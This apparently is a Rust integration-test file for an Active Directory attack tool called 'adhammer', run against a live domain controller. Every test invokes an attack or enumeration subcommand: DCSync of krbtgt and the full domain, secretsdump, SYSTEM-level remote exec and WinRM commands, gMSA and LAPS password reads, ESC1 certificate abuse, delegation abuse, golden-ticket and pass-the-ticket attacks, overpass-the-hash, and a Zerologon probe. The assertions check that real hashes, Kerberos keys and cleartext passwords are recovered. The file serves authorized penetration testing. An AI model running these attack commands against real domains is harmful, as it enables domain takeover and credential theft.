use std::process::Command;
fn env(k: &str) -> Option<String> {
std::env::var(k).ok().filter(|v| !v.is_empty())
}
fn run(args: &[&str]) -> Option<String> {
env("ADH_DC")?; let bin = env!("CARGO_BIN_EXE_adhammer");
let out = Command::new(bin).args(args).output().ok()?;
Some(format!(
"{}{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
))
}
fn dc() -> String {
env("ADH_DC").unwrap()
}
fn domain() -> String {
env("ADH_DOMAIN").unwrap_or_else(|| "CORP".into())
}
fn user() -> String {
env("ADH_USER").unwrap_or_else(|| "Administrator".into())
}
fn pass() -> String {
env("ADH_PASS").unwrap_or_default()
}
#[test]
#[ignore = "live DC"]
fn dcsync_krbtgt_returns_nt_hash() {
let Some(o) = run(&[
"attack",
"dcsync",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
"--target",
"krbtgt",
]) else {
return;
};
let line = o
.lines()
.find(|l| l.starts_with("krbtgt:"))
.expect("krbtgt line");
let nt = line.split(':').nth(3).unwrap_or("");
assert_eq!(nt.len(), 32, "krbtgt NT hash must be 32 hex: {line}");
assert!(nt.chars().all(|c| c.is_ascii_hexdigit()));
let aes = o
.lines()
.find(|l| l.starts_with("krbtgt:aes256-cts-hmac-sha1-96:"))
.and_then(|l| l.rsplit(':').next())
.expect("krbtgt aes256 key line");
assert_eq!(aes.len(), 64, "krbtgt AES256 key must be 64 hex: {aes}");
assert!(aes.chars().all(|c| c.is_ascii_hexdigit()));
}
#[test]
#[ignore = "live DC"]
fn samr_enumerates_users() {
let Some(o) = run(&[
"enum",
"samr",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
]) else {
return;
};
assert!(o.contains("SAMR users"), "expected SAMR user listing:\n{o}");
assert!(o.contains("Administrator"));
}
#[test]
#[ignore = "live DC"]
fn exec_runs_as_system() {
let Some(o) = run(&[
"attack",
"exec",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
"--command",
"whoami",
]) else {
return;
};
assert!(
o.to_lowercase().contains("nt authority\\system"),
"exec should run as SYSTEM:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn secretsdump_dumps_machine_and_sam() {
let Some(o) = run(&[
"attack",
"secretsdump",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
]) else {
return;
};
assert!(o.contains("SYSTEM "), "should pull the SYSTEM hive:\n{o}");
let dumped = o.contains("Administrator:500:") || o.contains("$MACHINE.ACC:");
let degraded = o.contains("unavailable");
assert!(
dumped || degraded,
"secretsdump should dump SAM/LSA or report the hive unavailable:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn gmsa_read_returns_nt_hash() {
let url = format!("ldaps://{}:636", dc());
let target = env("ADH_GMSA").unwrap_or_else(|| "gmsa_web$".into());
let bind_user = format!("{}\\{}", domain(), user());
let Some(o) = run(&[
"attack",
"gmsa",
"--url",
&url,
"--user",
&bind_user,
"--password",
&pass(),
"--insecure",
"--target",
&target,
]) else {
return;
};
let line = o.lines().find(|l| l.contains(&target)).expect("gmsa line");
let nt = line.split(':').nth(2).unwrap_or("");
assert_eq!(nt.len(), 32, "gMSA NT hash must be 32 hex: {line}");
}
#[test]
#[ignore = "live DC"]
fn laps_reads_cleartext() {
let Some(target) = env("ADH_LAPS_TARGET") else {
return;
};
let url = format!("ldaps://{}:636", dc());
let bind_user = format!("{}\\{}", domain(), user());
let Some(o) = run(&[
"attack",
"laps",
"--url",
&url,
"--user",
&bind_user,
"--password",
&pass(),
"--insecure",
"--target",
&target,
]) else {
return;
};
let line = o.lines().find(|l| l.contains(&target)).expect("laps line");
let pw = line.split('\t').nth(2).unwrap_or("");
assert!(!pw.is_empty(), "no cleartext LAPS password parsed: {line}");
if let Some(expect) = env("ADH_LAPS_EXPECT") {
assert!(
pw.contains(&expect),
"LAPS password {pw} != expected {expect}"
);
}
}
#[test]
#[ignore = "live DC"]
fn winrm_runs_command() {
let Some(o) = run(&[
"attack",
"winrm",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
"--command",
"whoami",
]) else {
return;
};
assert!(
o.contains("WinRM shell opened"),
"no WinRM shell established:\n{o}"
);
assert!(
o.to_lowercase().contains(&user().to_lowercase()),
"whoami over WinRM should echo the user:\n{o}"
);
assert!(o.contains("exited 0"), "expected clean exit:\n{o}");
}
#[test]
#[ignore = "live DC"]
fn dns_enumerates_adidns() {
let url = format!("ldaps://{}:636", dc());
let bind_user = format!("{}\\{}", domain(), user());
let Some(o) = run(&[
"enum",
"dns",
"--url",
&url,
"--user",
&bind_user,
"--password",
&pass(),
"--insecure",
]) else {
return;
};
assert!(
o.contains("ADIDNS:"),
"expected the ADIDNS summary line:\n{o}"
);
assert!(
o.contains("SRV") && o.contains("_ldap._tcp"),
"expected the DC's LDAP SRV records:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn esc1_enrolls_certificate() {
let Some(ca) = env("ADH_CA") else { return };
let template = env("ADH_TEMPLATE").unwrap_or_else(|| "User".into());
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let upn = format!("{}@{}", user(), realm.to_lowercase());
let out = std::env::temp_dir().join("adh_it.crt");
let Some(o) = run(&[
"attack",
"esc1",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
"--ca",
&ca,
"--template",
&template,
"--upn",
&upn,
"--out",
out.to_str().unwrap(),
]) else {
return;
};
assert!(
o.contains("certificate ISSUED"),
"CA should issue a cert:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn constrained_delegation_s4u() {
let (acct, pw, spn) = match (
env("ADH_DELEG_ACCT"),
env("ADH_DELEG_PASS"),
env("ADH_DELEG_SPN"),
) {
(Some(a), Some(p), Some(s)) => (a, p, s),
_ => return, };
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let Some(o) = run(&[
"attack",
"constrained",
"--kdc",
&dc(),
"--realm",
&realm,
"--account",
&acct,
"--account-password",
&pw,
"--impersonate",
"Administrator",
"--target-spn",
&spn,
]) else {
return;
};
assert!(
o.contains("service ticket") || o.contains("succeeded"),
"S4U chain should yield a ticket:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn dcsync_all_dumps_domain() {
let Some(o) = run(&[
"attack",
"dcsync",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pass(),
"--all",
]) else {
return;
};
assert!(o.contains("krbtgt:502:"));
assert!(o.contains("Administrator:500:"));
assert!(o.contains("full-domain DCSync complete"));
}
#[test]
#[ignore = "live DC"]
fn golden_ticket_accepted() {
let (Some(key), Some(sid)) = (env("ADH_KRBTGT_AES256"), env("ADH_DOMAIN_SID")) else {
return;
};
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let spn = env("ADH_SPN").unwrap_or_else(|| {
let host = env("ADH_NETBIOS").unwrap_or_else(|| "dc01".into());
format!("cifs/{}.{}", host.to_lowercase(), realm.to_lowercase())
});
let Some(o) = run(&[
"attack",
"golden",
"--kdc",
&dc(),
"--realm",
&realm,
"--krbtgt-aes256",
&key,
"--domain-sid",
&sid,
"--verify-spn",
&spn,
]) else {
return;
};
assert!(
o.contains("KDC accepted the golden ticket"),
"golden ticket not accepted: {o}"
);
}
#[test]
#[ignore = "live DC"]
fn pass_the_ticket_golden_exec() {
let (Some(key), Some(sid), Some(spn)) = (
env("ADH_KRBTGT_AES256"),
env("ADH_DOMAIN_SID"),
env("ADH_SPN"),
) else {
return;
};
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let Some(o) = run(&[
"attack",
"pth",
"--host",
&dc(),
"--kdc",
&dc(),
"--realm",
&realm,
"--domain-sid",
&sid,
"--krbtgt-aes256",
&key,
"--spn",
&spn,
"--command",
"whoami",
]) else {
return;
};
assert!(
o.contains("Kerberos SMB session established"),
"no PtT session: {o}"
);
assert!(
o.to_lowercase().contains("nt authority\\system"),
"golden PtT did not run as SYSTEM: {o}"
);
}
#[test]
#[ignore = "live DC"]
fn overpass_the_hash_gets_tgt() {
let (Some(user), Some(hash)) = (env("ADH_OPTH_USER"), env("ADH_OPTH_HASH")) else {
return;
};
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let out = std::env::temp_dir().join("adh_optt.ccache");
let Some(o) = run(&[
"attack",
"asktgt",
"--user",
&user,
"--realm",
&realm,
"--kdc",
&dc(),
"--nt-hash",
&hash,
"--out",
out.to_str().unwrap(),
]) else {
return;
};
assert!(o.contains("TGT obtained"), "overpass-the-hash failed:\n{o}");
}
#[test]
#[ignore = "live DC"]
fn enum_esc_registry_checks() {
let Some(ca) = env("ADH_CA") else { return };
let pw = pass();
let Some(o) = run(&[
"enum",
"esc",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pw,
"--ca",
&ca,
]) else {
return;
};
assert!(
o.contains("Remote Registry reachable"),
"enum esc did not reach the registry:\n{o}"
);
assert!(
o.contains("A-Esc") || o.contains("no registry-based ESC"),
"enum esc produced no verdict:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn enum_posture_relay_enablers() {
let pw = pass();
let Some(o) = run(&[
"enum",
"posture",
"--host",
&dc(),
"--domain",
&domain(),
"--user",
&user(),
"--password",
&pw,
]) else {
return;
};
assert!(
o.contains("A-Ldap") || o.contains("A-SpoolerOnDc") || o.contains("no relay/coercion"),
"enum posture produced no verdict:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn zerologon_detect_reports_verdict() {
let Some(netbios) = env("ADH_NETBIOS") else {
return;
};
let Some(o) = run(&[
"attack",
"zerologon",
"--host",
&dc(),
"--netbios",
&netbios,
]) else {
return;
};
assert!(
o.contains("VULNERABLE to Zerologon") || o.contains("not vulnerable to Zerologon"),
"zerologon probe gave no verdict:\n{o}"
);
}
#[test]
#[ignore = "live DC"]
fn asktgt_returns_ccache() {
let pw = pass();
if pw.is_empty() {
return;
}
let realm = env("ADH_REALM").unwrap_or_else(|| "CORP.LOCAL".into());
let out = std::env::temp_dir().join("adh_asktgt.ccache");
let Some(o) = run(&[
"attack",
"asktgt",
"--user",
&user(),
"--realm",
&realm,
"--kdc",
&dc(),
"--password",
&pw,
"--out",
out.to_str().unwrap(),
]) else {
return;
};
assert!(o.contains("TGT obtained"), "asktgt failed:\n{o}");
}